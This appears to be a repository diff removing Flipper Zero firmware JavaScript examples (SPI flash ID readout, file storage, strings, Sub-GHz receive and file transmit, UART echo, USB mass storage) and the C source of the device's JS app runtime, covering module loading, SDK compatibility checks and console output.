checkSdkFeatures(["spi"]);
// Connect a w25q32 SPI device to the Flipper Zero.
// D1=pin 2 (MOSI), SLK=pin 5 (SCK), GND=pin 8 (GND), D0=pin 3 (MISO), CS=pin 4 (CS), VCC=pin 9 (3V3)
let spi = require("spi");
// Display textbox so user can scroll to see all output.
let eventLoop = require("event_loop");
let gui = require("gui");
let textBoxView = require("gui/text_box");
let text = "SPI demo\n";
let textBox = textBoxView.makeWith({
focus: "end",
font: "text",
text: text,
});
function addText(add) {
text += add;
textBox.set("text", text);
}
gui.viewDispatcher.switchTo(textBox);
// writeRead returns a buffer the same length as the input buffer.
// We send 6 bytes of data, starting with 0x90, which is the command to read the manufacturer ID.
// Can also use Uint8Array([0x90, 0x00, ...]) as write parameter
// Optional timeout parameter in ms. We set to 100ms.
let data_buf = spi.writeRead([0x90, 0x0, 0x0, 0x0, 0x0, 0x0], 100);
let data = Uint8Array(data_buf);
if (data.length === 6) {
if (data[4] === 0xEF) {
addText("Found Winbond device\n");
if (data[5] === 0x15) {
addText("Device ID: W25Q32\n");
} else {
addText("Unknown device ID: " + data[5].toString(16) + "\n");
}
} else if (data[4] === 0x0) {
addText("Be sure Winbond W25Q32 is connected to Flipper Zero SPI pins.\n");
} else {
addText("Unknown device. Manufacturer ID: " + data[4].toString(16) + "\n");
}
}
addText("\nReading JEDEC ID\n");
// Acquire the SPI bus. Multiple calls will happen with Chip Select (CS) held low.
spi.acquire();
// Send command (0x9F) to read JEDEC ID.
// Can also use Uint8Array([0x9F]) as write parameter
// Note: you can pass an optional timeout parameter in milliseconds.
spi.write([0x9F]);
// Request 3 bytes of data.
// Note: you can pass an optional timeout parameter in milliseconds.
data_buf = spi.read(3);
// Release the SPI bus as soon as we are done with the set of SPI commands.
spi.release();
data = Uint8Array(data_buf);
addText("JEDEC MF ID: " + data[0].toString(16) + "\n");
addText("JEDEC Memory Type: " + data[1].toString(16) + "\n");
addText("JEDEC Capacity ID: " + data[2].toString(16) + "\n");
if (data[0] === 0xEF) {
addText("Found Winbond device\n");
}
let capacity = data[1] << 8 | data[2];
if (capacity === 0x4016) {
addText("Device: W25Q32\n");
} else if (capacity === 0x4015) {
addText("Device: W25Q16\n");
} else if (capacity === 0x4014) {
addText("Device: W25Q80\n");
} else {
addText("Unknown device\n");
}
// Wait for user to close the app
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _, eventLoop) {
eventLoop.stop();
}, eventLoop);
// This script has no interaction, only textbox, so event loop doesn't need to be running all the time
// We run it at the end to accept input for the back button press to quit
// But before that, user sees a textbox and pressing back has no effect
// This is fine because it allows simpler logic and the code above takes no time at all to run
eventLoop.run();

View File

@@ -1,29 +0,0 @@
let storage = require("storage");
let path = "/ext/storage.test";
print("File exists:", storage.fileExists(path));
print("Writing...");
let file = storage.openFile(path, "w", "create_always");
file.write("Hello ");
file.close();
print("File exists:", storage.fileExists(path));
file = storage.openFile(path, "w", "open_append");
file.write("World!");
file.close();
print("Reading...");
file = storage.openFile(path, "r", "open_existing");
let text = file.read("ascii", 128);
file.close();
print(text);
print("Removing...")
storage.remove(path);
print("Done")
// You don't need to close the file after each operation, this is just to show some different ways to use the API
// There's also many more functions and options, check type definitions in firmware repo

View File

@@ -1,19 +0,0 @@
let sampleText = "Hello, World!";
let lengthOfText = "Length of text: " + sampleText.length.toString();
print(lengthOfText);
let start = 7;
let end = 12;
let substringResult = sampleText.slice(start, end);
print(substringResult);
let searchStr = "World";
let result2 = sampleText.indexOf(searchStr).toString();
print(result2);
let upperCaseText = "Text in upper case: " + sampleText.toUpperCase();
print(upperCaseText);
let lowerCaseText = "Text in lower case: " + sampleText.toLowerCase();
print(lowerCaseText);

View File

@@ -1,48 +0,0 @@
// Script cannot work without subghz module so check before
checkSdkFeatures(["subghz"]);
let subghz = require("subghz");
subghz.setup();
function printRXline() {
if (subghz.getState() !== "RX") {
subghz.setRx(); // to RX
}
let rssi = subghz.getRssi();
let freq = subghz.getFrequency();
let ext = subghz.isExternal();
print("rssi: ", rssi, "dBm", "@", freq, "MHz", "ext: ", ext);
}
function changeFrequency(freq) {
if (subghz.getState() !== "IDLE") {
subghz.setIdle(); // need to be idle to change frequency
}
subghz.setFrequency(freq);
}
subghz.setIdle();
print(subghz.getState()); // "IDLE"
subghz.setRx();
print(subghz.getState()); // "RX"
changeFrequency(433920000);
printRXline();
delay(1000);
print("Sending 0.sub")
subghz.transmitFile("/ext/subghz/0.sub");
// Can also specify repeat count: subghz.transmitFile(path, repeat)
// If not provided, defaults to 1 repeat for RAW and 10 repeats for parsed
// These 10 repeats by default are to simulate holding the button on remote
print("Send success");
delay(1000);
changeFrequency(315000000);
printRXline();
// Optional, done automatically at script end
subghz.end()
// But can be used to setup again, which will retry to detect external modules

View File

@@ -1,14 +0,0 @@
let serial = require("serial");
serial.setup("usart", 230400);
while (1) {
let rx_data = serial.readBytes(1, 1000);
if (rx_data !== undefined) {
serial.write(rx_data);
let data_view = Uint8Array(rx_data);
print("0x" + data_view[0].toString(16));
}
}
// There's also serial.end(), so you can serial.setup() again in same script
// You can also use serial.readAny(timeout), will avoid starving your loop with single byte reads

View File

@@ -1,15 +0,0 @@
// This script is like uart_echo, except it uses 8E1 framing (8 data bits, even
// parity, 1 stop bit) as opposed to the default 8N1 (8 data bits, no parity,
// 1 stop bit)
let serial = require("serial");
serial.setup("usart", 230400, { dataBits: "8", parity: "even", stopBits: "1" });
while (1) {
let rx_data = serial.readBytes(1, 1000);
if (rx_data !== undefined) {
serial.write(rx_data);
let data_view = Uint8Array(rx_data);
print("0x" + data_view[0].toString(16));
}
}

View File

@@ -1,39 +0,0 @@
// Script cannot work without usbdisk module so check before
checkSdkFeatures(["usbdisk"]);
let usbdisk = require("usbdisk");
let storage = require("storage");
let imagePath = "/ext/apps_data/mass_storage/128MB.img";
let imageSize = 128 * 1024 * 1024;
let imageExisted = storage.fileExists(imagePath);
if (imageExisted) {
print("Disk image '128MB' already exists");
} else {
// CreateImage isn't necessary to overall function, check when its used not at script start
if (doesSdkSupport(["usbdisk-createimage"])) {
print("Creating disk image '128MB'...");
usbdisk.createImage(imagePath, imageSize);
} else {
die("Disk image '128MB' not present, can't auto-create");
}
}
print("Starting UsbDisk...");
usbdisk.start("/ext/apps_data/mass_storage/128MB.img");
print("Started, waiting until ejected...");
while (!usbdisk.wasEjected()) {
delay(1000);
}
print("Ejected, stopping UsbDisk...");
usbdisk.stop();
if (!imageExisted) {
print("Removing disk image...");
storage.remove(imagePath);
}
print("Done");

Binary file not shown.

Before

Width:  |  Height:  |  Size: 88 B

View File

@@ -1,217 +0,0 @@
#include <dialogs/dialogs.h>
#include "js_thread.h"
#include <storage/storage.h>
#include "js_app_i.h"
#include <toolbox/path.h>
#include <assets_icons.h>
#include <toolbox/cli/cli_command.h>
#include <cli/cli_main_commands.h>
#include <toolbox/pipe.h>
#define TAG "JS app"
typedef struct {
JsThread* js_thread;
Gui* gui;
ViewDispatcher* view_dispatcher;
Loading* loading;
JsConsoleView* console_view;
} JsApp;
static uint32_t js_view_exit(void* context) {
UNUSED(context);
return VIEW_NONE;
}
static void js_app_compact_trace(FuriString* trace_str) {
// Keep only first line
size_t line_end = furi_string_search_char(trace_str, '\n');
if(line_end > 0) {
furi_string_left(trace_str, line_end);
}
// Remove full path
FuriString* file_name = furi_string_alloc();
size_t filename_start = furi_string_search_rchar(trace_str, '/');
if(filename_start > 0) {
filename_start++;
furi_string_set_n(
file_name, trace_str, filename_start, furi_string_size(trace_str) - filename_start);
furi_string_printf(trace_str, "at %s", furi_string_get_cstr(file_name));
}
furi_string_free(file_name);
}
static void js_callback(JsThreadEvent event, const char* msg, void* context) {
JsApp* app = context;
furi_assert(app);
if(event == JsThreadEventDone) {
FURI_LOG_I(TAG, "Script done");
console_view_print(app->console_view, "--- DONE ---");
} else if(event == JsThreadEventPrint) {
console_view_print(app->console_view, msg);
} else if(event == JsThreadEventError) {
console_view_print(app->console_view, "--- ERROR ---");
console_view_print(app->console_view, msg);
} else if(event == JsThreadEventErrorTrace) {
FuriString* compact_trace = furi_string_alloc_set_str(msg);
js_app_compact_trace(compact_trace);
console_view_print(app->console_view, furi_string_get_cstr(compact_trace));
furi_string_free(compact_trace);
console_view_print(app->console_view, "See logs for full trace");
}
}
static JsApp* js_app_alloc(void) {
JsApp* app = malloc(sizeof(JsApp));
app->view_dispatcher = view_dispatcher_alloc();
app->loading = loading_alloc();
app->gui = furi_record_open("gui");
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
view_dispatcher_add_view(
app->view_dispatcher, JsAppViewLoading, loading_get_view(app->loading));
app->console_view = console_view_alloc();
view_dispatcher_add_view(
app->view_dispatcher, JsAppViewConsole, console_view_get_view(app->console_view));
view_set_previous_callback(console_view_get_view(app->console_view), js_view_exit);
view_dispatcher_switch_to_view(app->view_dispatcher, JsAppViewConsole);
return app;
}
static void js_app_free(JsApp* app) {
console_view_free(app->console_view);
view_dispatcher_remove_view(app->view_dispatcher, JsAppViewConsole);
loading_free(app->loading);
view_dispatcher_remove_view(app->view_dispatcher, JsAppViewLoading);
view_dispatcher_free(app->view_dispatcher);
furi_record_close("gui");
free(app);
}
int32_t js_app(void* arg) {
JsApp* app = js_app_alloc();
FuriString* script_path = furi_string_alloc_set(EXT_PATH("apps/Scripts"));
do {
if(arg != NULL && strlen(arg) > 0) {
furi_string_set(script_path, (const char*)arg);
} else {
DialogsFileBrowserOptions browser_options;
dialog_file_browser_set_basic_options(&browser_options, ".js", &I_js_script_10px);
DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS);
if(!dialog_file_browser_show(dialogs, script_path, script_path, &browser_options))
break;
furi_record_close(RECORD_DIALOGS);
}
FuriString* name = furi_string_alloc();
path_extract_filename(script_path, name, false);
FuriString* start_text =
furi_string_alloc_printf("Running %s", furi_string_get_cstr(name));
console_view_print(app->console_view, furi_string_get_cstr(start_text));
console_view_print(app->console_view, "-------------");
furi_string_free(name);
furi_string_free(start_text);
app->js_thread = js_thread_run(furi_string_get_cstr(script_path), js_callback, app);
view_dispatcher_run(app->view_dispatcher);
js_thread_stop(app->js_thread);
} while(0);
furi_string_free(script_path);
js_app_free(app);
return 0;
} //-V773
typedef struct {
PipeSide* pipe;
FuriSemaphore* exit_sem;
} JsCliContext;
static void js_cli_print(JsCliContext* ctx, const char* msg) {
UNUSED(ctx);
UNUSED(msg);
pipe_send(ctx->pipe, msg, strlen(msg));
}
static void js_cli_exit(JsCliContext* ctx) {
furi_check(furi_semaphore_release(ctx->exit_sem) == FuriStatusOk);
}
static void js_cli_callback(JsThreadEvent event, const char* msg, void* context) {
JsCliContext* ctx = context;
switch(event) {
case JsThreadEventError:
js_cli_print(ctx, "---- ERROR ----\r\n");
js_cli_print(ctx, msg);
js_cli_print(ctx, "\r\n");
break;
case JsThreadEventErrorTrace:
js_cli_print(ctx, "Trace:\r\n");
js_cli_print(ctx, msg);
js_cli_print(ctx, "\r\n");
js_cli_exit(ctx); // Exit when an error occurs
break;
case JsThreadEventPrint:
js_cli_print(ctx, msg);
js_cli_print(ctx, "\r\n");
break;
case JsThreadEventDone:
js_cli_print(ctx, "Script done!\r\n");
js_cli_exit(ctx);
break;
}
}
void js_cli_execute(PipeSide* pipe, FuriString* args, void* context) {
UNUSED(context);
const char* path = furi_string_get_cstr(args);
Storage* storage = furi_record_open(RECORD_STORAGE);
do {
if(furi_string_size(args) == 0) {
printf("Usage:\r\njs <path>\r\n");
break;
}
if(!storage_file_exists(storage, path)) {
printf("Can not open file %s\r\n", path);
break;
}
JsCliContext ctx = {.pipe = pipe};
ctx.exit_sem = furi_semaphore_alloc(1, 0);
printf("Running script %s, press CTRL+C to stop\r\n", path);
JsThread* js_thread = js_thread_run(path, js_cli_callback, &ctx);
while(furi_semaphore_acquire(ctx.exit_sem, 100) != FuriStatusOk) {
if(cli_is_pipe_broken_or_is_etx_next_char(pipe)) break;
}
js_thread_stop(js_thread);
furi_semaphore_free(ctx.exit_sem);
} while(false);
furi_record_close(RECORD_STORAGE);
}
void js_app_on_system_start(void) {
#ifdef SRV_CLI
CliRegistry* registry = furi_record_open(RECORD_CLI);
cli_registry_add_command(registry, "js", CliCommandFlagDefault, js_cli_execute, NULL);
furi_record_close(RECORD_CLI);
#endif
}

View File

@@ -1,10 +0,0 @@
#include <furi.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/modules/loading.h>
#include "views/console_view.h"
typedef enum {
JsAppViewConsole,
JsAppViewLoading,
} JsAppView;

View File

@@ -1,338 +0,0 @@
#include <core/common_defines.h>
#include "js_modules.h"
#include <m-array.h>
#include <dialogs/dialogs.h>
#include <assets_icons.h>
#include "modules/js_flipper.h"
#ifdef FW_CFG_unit_tests
#include "modules/js_tests.h"
#endif
#define TAG "JS modules"
// Absolute path is used to make possible plugin load from CLI
#define MODULES_PATH "/ext/apps_data/js_app/plugins"
typedef struct {
FuriString* name;
const JsModuleConstructor create;
const JsModuleDestructor destroy;
void* context;
} JsModuleData;
// not using:
// - a dict because ordering is required
// - a bptree because it forces a sorted ordering
// - an rbtree because i deemed it more tedious to implement, and with the
// amount of modules in use (under 10 in the overwhelming majority of cases)
// i bet it's going to be slower than a plain array
ARRAY_DEF(JsModuleArray, JsModuleData, M_POD_OPLIST); //-V658
#define M_OPL_JsModuleArray_t() ARRAY_OPLIST(JsModuleArray)
static const JsModuleDescriptor modules_builtin[] = {
{"flipper", js_flipper_create, NULL, NULL},
#ifdef FW_CFG_unit_tests
{"tests", js_tests_create, NULL, NULL},
#endif
};
struct JsModules {
struct mjs* mjs;
JsModuleArray_t modules;
PluginManager* plugin_manager;
CompositeApiResolver* resolver;
};
JsModules* js_modules_create(struct mjs* mjs, CompositeApiResolver* resolver) {
JsModules* modules = malloc(sizeof(JsModules));
modules->mjs = mjs;
JsModuleArray_init(modules->modules);
modules->plugin_manager = plugin_manager_alloc(
PLUGIN_APP_ID, PLUGIN_API_VERSION, composite_api_resolver_get(resolver));
modules->resolver = resolver;
return modules;
}
void js_modules_destroy(JsModules* instance) {
for
M_EACH(module, instance->modules, JsModuleArray_t) {
FURI_LOG_T(TAG, "Tearing down %s", furi_string_get_cstr(module->name));
if(module->destroy) module->destroy(module->context);
furi_string_free(module->name);
}
plugin_manager_free(instance->plugin_manager);
JsModuleArray_clear(instance->modules);
free(instance);
}
JsModuleData* js_find_loaded_module(JsModules* instance, const char* name) {
for
M_EACH(module, instance->modules, JsModuleArray_t) {
if(furi_string_cmp_str(module->name, name) == 0) return module;
}
return NULL;
}
mjs_val_t js_module_require(JsModules* modules, const char* name, size_t name_len) {
// Ignore the initial part of the module name
const char* optional_module_prefix = "@" JS_SDK_VENDOR "/fz-sdk/";
if(strncmp(name, optional_module_prefix, strlen(optional_module_prefix)) == 0) {
name += strlen(optional_module_prefix);
}
// Check if module is already installed
JsModuleData* module_inst = js_find_loaded_module(modules, name);
if(module_inst) { //-V547
mjs_prepend_errorf(
modules->mjs, MJS_BAD_ARGS_ERROR, "\"%s\" module is already installed", name);
return MJS_UNDEFINED;
}
bool module_found = false;
// Check built-in modules
for(size_t i = 0; i < COUNT_OF(modules_builtin); i++) { //-V1008
size_t name_compare_len = strlen(modules_builtin[i].name);
if(name_compare_len != name_len) {
continue;
}
if(strncmp(name, modules_builtin[i].name, name_compare_len) == 0) {
JsModuleData module = {
.create = modules_builtin[i].create,
.destroy = modules_builtin[i].destroy,
.name = furi_string_alloc_set_str(name),
};
JsModuleArray_push_at(modules->modules, 0, module);
module_found = true;
FURI_LOG_I(TAG, "Using built-in module %s", name);
break;
}
}
// External module load
if(!module_found) {
FuriString* deslashed_name = furi_string_alloc_set_str(name);
furi_string_replace_all_str(deslashed_name, "/", "__");
FuriString* module_path = furi_string_alloc();
furi_string_printf(
module_path, "%s/js_%s.fal", MODULES_PATH, furi_string_get_cstr(deslashed_name));
FURI_LOG_I(
TAG, "Loading external module %s from %s", name, furi_string_get_cstr(module_path));
do {
uint32_t plugin_cnt_last = plugin_manager_get_count(modules->plugin_manager);
PluginManagerError load_error = plugin_manager_load_single(
modules->plugin_manager, furi_string_get_cstr(module_path));
if(load_error != PluginManagerErrorNone) {
FURI_LOG_E(
TAG,
"Module %s load error. It may depend on other modules that are not yet loaded.",
name);
break;
}
const JsModuleDescriptor* plugin =
plugin_manager_get_ep(modules->plugin_manager, plugin_cnt_last);
furi_assert(plugin);
if(furi_string_cmp_str(deslashed_name, plugin->name) != 0) {
FURI_LOG_E(TAG, "Module name mismatch %s", plugin->name);
break;
}
JsModuleData module = {
.create = plugin->create,
.destroy = plugin->destroy,
.name = furi_string_alloc_set_str(name),
};
JsModuleArray_push_at(modules->modules, 0, module);
if(plugin->api_interface) {
FURI_LOG_I(TAG, "Added module API to composite resolver: %s", plugin->name);
composite_api_resolver_add(modules->resolver, plugin->api_interface);
}
module_found = true;
} while(0);
furi_string_free(module_path);
furi_string_free(deslashed_name);
}
// Run module constructor
mjs_val_t module_object = MJS_UNDEFINED;
if(module_found) {
module_inst = js_find_loaded_module(modules, name);
furi_assert(module_inst);
if(module_inst->create) { //-V779
module_inst->context = module_inst->create(modules->mjs, &module_object, modules);
}
}
if(module_object == MJS_UNDEFINED) { //-V547
mjs_prepend_errorf(modules->mjs, MJS_BAD_ARGS_ERROR, "\"%s\" module load fail", name);
}
return module_object;
}
void* js_module_get(JsModules* modules, const char* name) {
FuriString* module_name = furi_string_alloc_set_str(name);
JsModuleData* module_inst = js_find_loaded_module(modules, name);
furi_string_free(module_name);
return module_inst ? module_inst->context : NULL;
}
typedef enum {
JsSdkCompatStatusCompatible,
JsSdkCompatStatusFirmwareTooOld,
JsSdkCompatStatusFirmwareTooNew,
} JsSdkCompatStatus;
/**
* @brief Checks compatibility between the firmware and the JS SDK version
* expected by the script
*/
static JsSdkCompatStatus
js_internal_sdk_compatibility_status(int32_t exp_major, int32_t exp_minor) {
if(exp_major < JS_SDK_MAJOR) return JsSdkCompatStatusFirmwareTooNew;
if(exp_major > JS_SDK_MAJOR || exp_minor > JS_SDK_MINOR)
return JsSdkCompatStatusFirmwareTooOld;
return JsSdkCompatStatusCompatible;
}
static const JsValueDeclaration js_sdk_version_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeInt32),
JS_VALUE_SIMPLE(JsValueTypeInt32),
};
static const JsValueArguments js_sdk_version_args = JS_VALUE_ARGS(js_sdk_version_arg_list);
void js_sdk_compatibility_status(struct mjs* mjs) {
int32_t major, minor;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_version_args, &major, &minor);
JsSdkCompatStatus status = js_internal_sdk_compatibility_status(major, minor);
switch(status) {
case JsSdkCompatStatusCompatible:
mjs_return(mjs, mjs_mk_string(mjs, "compatible", ~0, 0));
return;
case JsSdkCompatStatusFirmwareTooOld:
mjs_return(mjs, mjs_mk_string(mjs, "firmwareTooOld", ~0, 0));
return;
case JsSdkCompatStatusFirmwareTooNew:
mjs_return(mjs, mjs_mk_string(mjs, "firmwareTooNew", ~0, 0));
return;
}
}
void js_is_sdk_compatible(struct mjs* mjs) {
int32_t major, minor;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_version_args, &major, &minor);
JsSdkCompatStatus status = js_internal_sdk_compatibility_status(major, minor);
mjs_return(mjs, mjs_mk_boolean(mjs, status == JsSdkCompatStatusCompatible));
}
/**
* @brief Asks the user whether to continue executing an incompatible script
*/
static bool js_internal_compat_ask_user(const char* message) {
DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS);
DialogMessage* dialog = dialog_message_alloc();
dialog_message_set_header(dialog, message, 64, 0, AlignCenter, AlignTop);
dialog_message_set_text(
dialog, "This script may not\nwork as expected", 79, 32, AlignCenter, AlignCenter);
dialog_message_set_icon(dialog, &I_Warning_30x23, 0, 18);
dialog_message_set_buttons(dialog, "Go back", NULL, "Run anyway");
DialogMessageButton choice = dialog_message_show(dialogs, dialog);
dialog_message_free(dialog);
furi_record_close(RECORD_DIALOGS);
return choice == DialogMessageButtonRight;
}
void js_check_sdk_compatibility(struct mjs* mjs) {
int32_t major, minor;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_version_args, &major, &minor);
JsSdkCompatStatus status = js_internal_sdk_compatibility_status(major, minor);
if(status != JsSdkCompatStatusCompatible) {
FURI_LOG_E(
TAG,
"Script requests JS SDK %ld.%ld, firmware provides JS SDK %d.%d",
major,
minor,
JS_SDK_MAJOR,
JS_SDK_MINOR);
const char* message = (status == JsSdkCompatStatusFirmwareTooOld) ? "Outdated Firmware" :
"Outdated Script";
if(!js_internal_compat_ask_user(message)) {
JS_ERROR_AND_RETURN(mjs, MJS_NOT_IMPLEMENTED_ERROR, "Incompatible script");
}
}
}
static const char* extra_features[] = {
"baseline", // dummy "feature"
"gpio-pwm",
"gui-widget",
"serial-framing",
"gui-widget-extras",
// extra modules
"blebeacon",
"i2c",
"spi",
"infrared-send",
"subghz",
"usbdisk",
"vgm",
};
/**
* @brief Determines whether a feature is supported
*/
static bool js_internal_supports(const char* feature) {
for(size_t i = 0; i < COUNT_OF(extra_features); i++) { // -V1008
if(strcmp(feature, extra_features[i]) == 0) return true;
}
return false;
}
/**
* @brief Determines whether all of the requested features are supported
*/
static bool js_internal_supports_all_of(struct mjs* mjs, mjs_val_t feature_arr) {
furi_assert(mjs_is_array(feature_arr));
for(size_t i = 0; i < mjs_array_length(mjs, feature_arr); i++) {
mjs_val_t feature = mjs_array_get(mjs, feature_arr, i);
const char* feature_str = mjs_get_string(mjs, &feature, NULL);
if(!feature_str) return false;
if(!js_internal_supports(feature_str)) return false;
}
return true;
}
static const JsValueDeclaration js_sdk_features_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeAnyArray),
};
static const JsValueArguments js_sdk_features_args = JS_VALUE_ARGS(js_sdk_features_arg_list);
void js_does_sdk_support(struct mjs* mjs) {
mjs_val_t features;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_features_args, &features);
mjs_return(mjs, mjs_mk_boolean(mjs, js_internal_supports_all_of(mjs, features)));
}
void js_check_sdk_features(struct mjs* mjs) {
mjs_val_t features;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_features_args, &features);
if(!js_internal_supports_all_of(mjs, features)) {
FURI_LOG_E(TAG, "Script requests unsupported features");
if(!js_internal_compat_ask_user("Unsupported Feature")) {
JS_ERROR_AND_RETURN(mjs, MJS_NOT_IMPLEMENTED_ERROR, "Incompatible script");
}
}
}

View File

@@ -1,149 +0,0 @@
#pragma once
#include <stdint.h>
#include "js_thread_i.h"
#include "js_value.h"
#include <flipper_application/flipper_application.h>
#include <flipper_application/plugins/plugin_manager.h>
#include <flipper_application/plugins/composite_resolver.h>
#ifdef __cplusplus
extern "C" {
#endif
#define PLUGIN_APP_ID "js"
#define PLUGIN_API_VERSION 1
#define JS_SDK_VENDOR_FIRMWARE "unleashed"
#define JS_SDK_VENDOR "flipperdevices"
#define JS_SDK_MAJOR 1
#define JS_SDK_MINOR 0
/**
* @brief Returns the foreign pointer in `obj["_"]`
*/
#define JS_GET_INST(mjs, obj) mjs_get_ptr(mjs, mjs_get(mjs, obj, INST_PROP_NAME, ~0))
/**
* @brief Returns the foreign pointer in `this["_"]`
*/
#define JS_GET_CONTEXT(mjs) JS_GET_INST(mjs, mjs_get_this(mjs))
/**
* @brief Syntax sugar for constructing an object
*
* Example:
*
* mjs_val_t my_obj = mjs_mk_object(mjs);
* JS_ASSIGN_MULTI(mjs, my_obj) {
* JS_FIELD("method1", MJS_MK_FN(js_storage_file_is_open));
* JS_FIELD("method2", MJS_MK_FN(js_storage_file_is_open));
* }
*/
#define JS_ASSIGN_MULTI(mjs, object) \
for(struct { \
struct mjs* mjs; \
mjs_val_t val; \
int i; \
} _ass_multi = {mjs, object, 0}; \
_ass_multi.i == 0; \
_ass_multi.i++)
#define JS_FIELD(name, value) mjs_set(_ass_multi.mjs, _ass_multi.val, name, ~0, value)
/**
* @brief The first word of structures that foreign pointer JS values point to
*
* This is used to detect situations where JS code mistakenly passes an opaque
* foreign pointer of one type as an argument to a native function which expects
* a struct of another type.
*
* It is recommended to use this functionality in conjunction with the following
* convenience verification macros:
* - `JS_ARG_STRUCT()`
* - `JS_ARG_OBJ_WITH_STRUCT()`
*
* @warning In order for the mechanism to work properly, your struct must store
* the magic value in the first word.
*/
typedef enum {
JsForeignMagicStart = 0x15BAD000,
JsForeignMagic_JsEventLoopContract,
} JsForeignMagic;
/**
* @brief Prepends an error, sets the JS return value to `undefined` and returns
* from the C function
* @warning This macro executes `return;` by design
*/
#define JS_ERROR_AND_RETURN(mjs, error_code, ...) \
do { \
mjs_prepend_errorf(mjs, error_code, __VA_ARGS__); \
mjs_return(mjs, MJS_UNDEFINED); \
return; \
} while(0)
/**
* @brief Prepends an error, sets the JS return value to `undefined` and returns
* a value C function
* @warning This macro executes `return;` by design
*/
#define JS_ERROR_AND_RETURN_VAL(mjs, error_code, ret_val, ...) \
do { \
mjs_prepend_errorf(mjs, error_code, __VA_ARGS__); \
mjs_return(mjs, MJS_UNDEFINED); \
return ret_val; \
} while(0)
typedef struct JsModules JsModules;
typedef void* (*JsModuleConstructor)(struct mjs* mjs, mjs_val_t* object, JsModules* modules);
typedef void (*JsModuleDestructor)(void* inst);
typedef struct {
char* name;
JsModuleConstructor create;
JsModuleDestructor destroy;
const ElfApiInterface* api_interface;
} JsModuleDescriptor;
JsModules* js_modules_create(struct mjs* mjs, CompositeApiResolver* resolver);
void js_modules_destroy(JsModules* modules);
mjs_val_t js_module_require(JsModules* modules, const char* name, size_t name_len);
/**
* @brief Gets a module instance by its name
* This is useful when a module wants to access a stateful API of another
* module.
* @returns Pointer to module context, NULL if the module is not instantiated
*/
void* js_module_get(JsModules* modules, const char* name);
/**
* @brief `sdkCompatibilityStatus` function
*/
void js_sdk_compatibility_status(struct mjs* mjs);
/**
* @brief `isSdkCompatible` function
*/
void js_is_sdk_compatible(struct mjs* mjs);
/**
* @brief `checkSdkCompatibility` function
*/
void js_check_sdk_compatibility(struct mjs* mjs);
/**
* @brief `doesSdkSupport` function
*/
void js_does_sdk_support(struct mjs* mjs);
/**
* @brief `checkSdkFeatures` function
*/
void js_check_sdk_features(struct mjs* mjs);
#ifdef __cplusplus
}
#endif

View File

@@ -1,357 +0,0 @@
#include <common/cs_dbg.h>
#include <toolbox/path.h>
#include <toolbox/stream/file_stream.h>
#include <toolbox/strint.h>
#include <loader/firmware_api/firmware_api.h>
#include <flipper_application/api_hashtable/api_hashtable.h>
#include <flipper_application/plugins/composite_resolver.h>
#include <furi_hal.h>
#include "plugin_api/app_api_interface.h"
#include "js_thread.h"
#include "js_thread_i.h"
#include "js_modules.h"
#define TAG "JS"
struct JsThread {
FuriThread* thread;
FuriString* path;
CompositeApiResolver* resolver;
JsThreadCallback app_callback;
void* context;
JsModules* modules;
};
static void js_str_print(FuriString* msg_str, struct mjs* mjs) {
size_t num_args = mjs_nargs(mjs);
for(size_t i = 0; i < num_args; i++) {
char* name = NULL;
size_t name_len = 0;
int need_free = 0;
mjs_val_t arg = mjs_arg(mjs, i);
mjs_err_t err = mjs_to_string(mjs, &arg, &name, &name_len, &need_free);
if(err != MJS_OK) {
furi_string_cat_printf(msg_str, "err %s ", mjs_strerror(mjs, err));
} else {
furi_string_cat_printf(msg_str, "%s ", name);
}
if(need_free) {
free(name);
name = NULL;
}
}
}
static void js_print(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
JsThread* worker = mjs_get_context(mjs);
furi_assert(worker);
if(worker->app_callback) {
worker->app_callback(JsThreadEventPrint, furi_string_get_cstr(msg_str), worker->context);
} else {
FURI_LOG_D(TAG, "%s\r\n", furi_string_get_cstr(msg_str));
}
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_console_log(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
FURI_LOG_I(TAG, "%s", furi_string_get_cstr(msg_str));
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_console_warn(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
FURI_LOG_W(TAG, "%s", furi_string_get_cstr(msg_str));
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_console_error(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
FURI_LOG_E(TAG, "%s", furi_string_get_cstr(msg_str));
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_console_debug(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
FURI_LOG_D(TAG, "%s", furi_string_get_cstr(msg_str));
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_exit_flag_poll(struct mjs* mjs) {
uint32_t flags = furi_thread_flags_wait(ThreadEventStop, FuriFlagWaitAny | FuriFlagNoClear, 0);
if(flags & FuriFlagError) {
return;
}
if(flags & ThreadEventStop) {
mjs_exit(mjs);
}
}
bool js_delay_with_flags(struct mjs* mjs, uint32_t time) {
uint32_t flags =
furi_thread_flags_wait(ThreadEventStop, FuriFlagWaitAny | FuriFlagNoClear, time);
if(flags & FuriFlagError) {
return false;
}
if(flags & ThreadEventStop) {
mjs_exit(mjs);
return true;
}
return false;
}
void js_flags_set(struct mjs* mjs, uint32_t flags) {
JsThread* worker = mjs_get_context(mjs);
furi_assert(worker);
furi_thread_flags_set(furi_thread_get_id(worker->thread), flags);
}
